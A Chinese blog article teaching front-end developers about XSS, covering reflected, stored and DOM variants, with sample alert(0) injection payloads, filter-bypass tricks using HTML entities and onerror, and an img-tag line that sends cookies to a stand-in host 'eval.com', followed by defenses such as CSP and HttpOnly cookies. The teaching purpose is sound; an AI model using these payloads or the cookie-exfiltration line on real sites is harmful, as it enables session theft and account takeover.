前端安全之XSS

二叶草 2020年1月15日22:57:18安全防范评论阅读模式

前端安全是很容易被前端程序员忽略的一个领域,所以很多古老的网站都有着明显的漏洞。虽然随着浏览器的升级、HTTP协议的完善、前后端分离的出现、MVVM框架的流行,写出漏洞也变得越来越难,但如果前端程序员不了解前端安全,仍然很容易写出危险的代码。

因此,我打算写几篇文章来科普一下常见的前端安全问题。但我不会太过深入,只是让你知道有这个东西,它的原理是什么,理解浏览器出于安全考虑而产生的一些现象。这样写代码的时候会注意一些。部分内容对后台开发者应该也有些帮助。

这次要介绍的是前端开发过程中最常出现的一个漏洞——XSS。它的英文是Cross Site Scripting,中文是“跨站脚本攻击”。

跨站脚本攻击的目标是在网页中注入一段非法的JS代码并执行。

一个例子

早年我开发过一个简单的小网页,网页上有一个文本框。向文本框中输入一个mp3的下载地址,就会生成一个url链接。这个url链接可以分享给别人,打开后是一个网页播放器,点播放按钮就可以播放那首歌曲。

实现原理也很简单,把mp3文件的地址放入生成的url中,打开链接时,从url中提取mp3地址,放入<audio>标签的src属性中即可。

然而这个应用有一个问题,就是mp3文件的地址没有做过滤。这会引起很大的问题。

攻击示例

如果我向文本框中输入的地址是:

 javascript:alert(0)

那么最终会生成的代码就是:

<audio src="javascript:alert(0)"/>

其实这个代码影响不大,因为src属性中的js代码,浏览器一般不会执行。但是,我可以在文本框中输入这样的代码:

"/><script>alert(0)</script><audio src="

最终形成的代码就是:

<audio src=""/><script>alert(0)</script><audio src=""/>

这就有点可怕了。

介绍

XSS的本质是将数据当成了代码来执行,根本原因是过滤不彻底。

XSS有一个输入点,即输入数据的地方,如例子当中的url参数;有一个输出点,即放置代码的地方,例子中是在<audio>标签的src属性。

XSS分为三种类型:反射型XSS、存储型XSS和DOM XSS。

XSS的危害非常大,因为可以在网站上执行任意代码。比如可以拿到对方的cookie信息,从而冒充用户登录;又比如修改模拟出登录界面,盗取用户密码;甚至可以调用网站接口,完成交易。

你也许会想,就算拿到想要的信息,如何发送到攻击者的服务器呢?毕竟浏览器对跨域请求有严格的限制。其实服务器只要配置一下跨域信息就可以了。即使不配置,也很容易解决,比如这样:

<img src="http://eval.com/?cookie=..." />

就算这个url并不是真的图片,但浏览器还是把这个请求发出去了,而cookie信息就携带在url的参数中。

反射型XSS

一般的动态网页生成过程是这样:用户发送请求,服务器提取出GET或POST参数,根据参数从数据库里取出信息,把这些信息嵌入模板中,生成网页内容,返回给浏览器。

但有时候,服务器也会直接把参数嵌入到生成的网页中。此时,如果攻击者向服务器发送的是精心构造的数据,而服务器没有过滤就直接放入生成的网页中,就有可能发生XSS攻击。这种服务器直接将请求数据放入生成的网页中而导致的攻击,就是反射型XSS攻击。

反射型XSS只对当次请求有效。常用的攻击方法是,精心构造一个url,然后发送给别人,当对方点开链接的时候,就产生了一个反射型的XSS攻击。

你可能会认为浏览器能发送的url长度有限,能注入的代码量也有限。但实际上只需要注入一个script标签,里面引入一个攻击脚本就行了。

存储型XSS

存储型XSS的特点是会将攻击代码写入数据库中。这种类型的XSS危害最大,因为用户只要访问到特定的页面,就会受到攻击。

一个常见的场景是提交表单,比如提交评论,那么用户在浏览攻击者的评论时就会受到攻击。再比如保存用户资料,如果你在昵称里面写了一些html标签,别人在浏览你的主页时就可能受到攻击。

另一个常见的场景是富本文。比如发布文章的时候,实际提交的时候是html代码。别人浏览你的文章时,嵌入的也是html代码。因为文章里面有图片,文字也有格式,所以不可能是纯文本。这时候,如果后台过滤不严格,很容易受到XSS攻击。邮件系统也是如此。

这种攻击的对象不仅仅是普通用户,也有可能是网站管理员。比如在文章中针对管理员构造代码,管理员在审核文章时如果受到攻击,攻击者就可以冒充管理员,获得全站的权限。

存储型XSS一般很难避免,因为往往需要后台过滤。后台语言不能理解JS代码,只能当作文本来过滤。而XSS的注入方式非常灵活,后台很难有效地过滤。举几个例子吧:

// 服务器过滤了小于号、大于号、"javascript:"// 注入点<a href="注入点">...// 注入代码(利用HTML字符编码)javascript&#58;alert&#40;0&#41;// 最终代码<a href="javascript&#58;alert&#40;0&#41">...
// 注入点<img src="注入点" />// 注入代码(利用on开头的属性)@" onerror="alert(0)// 最终代码<img src="@" onerror="alert(0)" />

DOM XSS

DOM XSS的特点是攻击不依赖于服务器,而是由js造成的。文章开头的例子就属于这种攻击。

这种攻击最常见的原因是使用innerHTML插入了不安全的内容。插入的内容可能来自url,也可能来自服务器响应数据。

前端防御

对于前端程序来说,要防范这种攻击很简单:

  1. 尽量不要直接向网页中插入html代码片段;
  2. 设置链接类属性值时检查协议(如是否以http:或https:开头)。

其实使用MVVM框架的话,一般都不会向页面中插入html片段,但是仍然无法完全避免。比如插入富文本就不可避免向网页中插入html片段。

如果你使用的是Vue的v-html指令,那就没有任何过滤,因此只能插入可以信任的数据。

如果使用的是Angular的[innerHTML]方式,那么框架已经帮你去除了其中的脚本,但仍然需要手动过滤其他禁止使用的标签。Angular甚至会帮你过滤链接类的属性,如果链接来源不安全,比如是通过字符串拼接得到的,那么你需要特别的方法才能使用。

React我只在它刚出来的时候接触过,当时对富文本也没有进行过滤,不过想插入html代码需要使用一个非常难写的属性,好让你知道这样做是不安全的。

另一个处理富文本的方式是放到iframe中,然后用sandbox属性禁用其中的脚本。不用这个属性是html5特有的,在旧浏览器中并不安全。

后台防御

其实现代浏览器已经会对xss进行一定的检测和防范,比如检测网址中是否有可疑的代码。只需要在HTTP响应头中启用这些功能即可。比如X-XSS-Protection响应头可以让浏览器在检测到XSS攻击的时候停止渲染。再比如通过X-Content-Security-Policy响应头设置CSP策略,来严格控制可以执行的脚本范围。

另外,后台可以把重要的cookie加上HTTP Only标记,这样的cookie无法用js读取,可避免用户受到XSS攻击后被窃取身份信息。

本文来自:变化吧门户-www.bianhb.com
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧门户观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。

  • 赞助本站
  • 微信扫一扫
  • weinxin
  • 加入Q群
  • QQ扫一扫
  • weinxin
二叶草

发表评论